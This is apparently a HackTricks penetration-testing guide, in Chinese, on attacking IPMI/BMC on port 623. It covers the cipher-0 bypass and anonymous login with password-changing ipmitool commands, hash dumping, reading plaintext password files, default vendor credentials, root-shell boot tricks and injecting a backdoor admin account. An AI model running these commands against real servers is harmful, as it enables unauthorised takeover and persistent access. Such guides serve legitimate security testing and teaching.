# 623/UDP/TCP - IPMI {{#include ../banners/hacktricks-training.md}} ## 基本信息 ### **IPMI 概述** **[智能平台管理接口 (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** 提供了一种标准化的方法,用于远程管理和监控计算机系统,独立于操作系统或电源状态。该技术允许系统管理员远程管理系统,即使在系统关闭或无响应时也能进行管理,特别适用于: - 操作系统启动前的配置 - 关机管理 - 从系统故障中恢复 IPMI 能够监控温度、电压、风扇速度和电源,同时提供库存信息、查看硬件日志,并通过 SNMP 发送警报。其操作所需的基本条件是电源和局域网连接。 自 1998 年英特尔推出以来,IPMI 得到了众多厂商的支持,增强了远程管理能力,特别是 2.0 版本对串行通过 LAN 的支持。关键组件包括: - **主板管理控制器 (BMC):** IPMI 操作的主要微控制器。 - **通信总线和接口:** 用于内部和外部通信,包括 ICMB、IPMB 和各种本地及网络连接接口。 - **IPMI 内存:** 用于存储日志和数据。 ![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right) **默认端口**:623/UDP/TCP(通常在 UDP 上,但也可能在 TCP 上运行) ## 枚举 ### 发现 ```bash nmap -n -p 623 10.0.0./24 nmap -n-sU -p 623 10.0.0./24 use auxiliary/scanner/ipmi/ipmi_version ``` 您可以**识别**版本使用: ```bash use auxiliary/scanner/ipmi/ipmi_version nmap -sU --script ipmi-version -p 623 10.10.10.10 ``` ### IPMI Vulnerabilities 在IPMI 2.0领域,Dan Farmer发现了一个重大安全漏洞,通过**cipher type 0**暴露了一个漏洞。这个漏洞在[Dan Farmer's research](http://fish2.com/ipmi/cipherzero.html)中有详细记录,允许在目标有效用户的情况下,使用任何密码进行未经授权的访问。这个弱点在HP、Dell和Supermicro等制造商的各种BMC中被发现,表明所有IPMI 2.0实现中存在广泛的问题。 ### **IPMI Authentication Bypass via Cipher 0** 要检测这个缺陷,可以使用以下Metasploit辅助扫描器: ```bash use auxiliary/scanner/ipmi/ipmi_cipher_zero ``` 利用这个漏洞可以使用 `ipmitool` 来实现,如下所示,允许列出和修改用户密码: ```bash apt-get install ipmitool # Installation command ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password ``` ### **IPMI 2.0 RAKP 认证远程密码哈希检索** 此漏洞允许检索任何现有用户名的盐哈希密码(MD5 和 SHA1)。要测试此漏洞,Metasploit 提供了一个模块: ```bash msf > use auxiliary/scanner/ipmi/ipmi_dumphashes ``` ### **IPMI 匿名认证** 许多 BMC 的默认配置允许“匿名”访问,其特征是用户名和密码字符串为空。此配置可以被利用,通过 `ipmitool` 重置命名用户帐户的密码: ```bash ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword ``` ### **Supermicro IPMI 明文密码** IPMI 2.0 中的一个关键设计选择要求在 BMC 中存储明文密码以进行身份验证。Supermicro 将这些密码存储在 `/nv/PSBlock` 或 `/nv/PSStore` 等位置引发了重大安全隐患: ```bash cat /nv/PSBlock ``` ### **Supermicro IPMI UPnP 漏洞** Supermicro 在其 IPMI 固件中包含的 UPnP SSDP 监听器,特别是在 UDP 端口 1900 上,引入了严重的安全风险。根据 [Rapid7 的披露](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) 的详细信息,Intel SDK for UPnP Devices 版本 1.3.1 中的漏洞允许对 BMC 进行根访问: ```bash msf> use exploit/multi/upnp/libupnp_ssdp_overflow ``` ### 暴力破解 **HP 在制造过程中随机生成其** **集成灯光控制 (iLO)** **产品的默认密码**。这一做法与其他制造商形成对比,后者往往使用**静态默认凭据**。以下是各种产品的默认用户名和密码的总结: - **HP 集成灯光控制 (iLO)** 使用**工厂随机生成的 8 个字符的字符串**作为其默认密码,展示了更高的安全级别。 - 像**戴尔的 iDRAC、IBM 的 IMM**和**富士通的集成远程管理控制器**等产品使用易于猜测的密码,如“calvin”、“PASSW0RD”(带零)和“admin”。 - 同样,**Supermicro IPMI (2.0)、Oracle/Sun ILOM**和**华硕 iKVM BMC**也使用简单的默认凭据,其中“ADMIN”、“changeme”和“admin”作为它们的密码。 ## 通过 BMC 访问主机 对基板管理控制器 (BMC) 的管理访问打开了访问主机操作系统的各种途径。一种简单的方法是利用 BMC 的键盘、视频、鼠标 (KVM) 功能。这可以通过重启主机到根 shell(使用 `init=/bin/sh`)或从设置为救援磁盘的虚拟 CD-ROM 启动来完成。这些方法允许直接操作主机的磁盘,包括插入后门、数据提取或进行安全评估所需的任何操作。然而,这需要重启主机,这是一个显著的缺点。在不重启的情况下,访问正在运行的主机更为复杂,并且因主机的配置而异。如果主机的物理或串行控制台保持登录状态,可以通过 BMC 的 KVM 或串行通过 LAN (sol) 功能轻松接管,使用 `ipmitool`。探索共享硬件资源的利用,如 i2c 总线和超级 I/O 芯片,是一个需要进一步研究的领域。 ## 从主机向 BMC 引入后门 在攻陷配备 BMC 的主机后,可以利用**本地 BMC 接口插入后门用户帐户**,在服务器上创建持久存在。这一攻击需要在被攻陷的主机上存在**`ipmitool`**并激活 BMC 驱动程序支持。以下命令展示了如何通过主机的本地接口将新用户帐户注入 BMC,从而绕过身份验证的需要。这种技术适用于包括 Linux、Windows、BSD 甚至 DOS 在内的广泛操作系统。 ```bash ipmitool user list ID Name Callin Link Auth IPMI Msg Channel Priv Limit 2 ADMIN true false false Unknown (0x00) 3 root true false false Unknown (0x00) ipmitool user set name 4 backdoor ipmitool user set password 4 backdoor ipmitool user priv 4 4 ipmitool user list ID Name Callin Link Auth IPMI Msg Channel Priv Limit 2 ADMIN true false false Unknown (0x00) 3 root true false false Unknown (0x00) 4 backdoor true false true ADMINISTRATOR ``` ## Shodan - `port:623` ## References - [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/) {{#include ../banners/hacktricks-training.md}}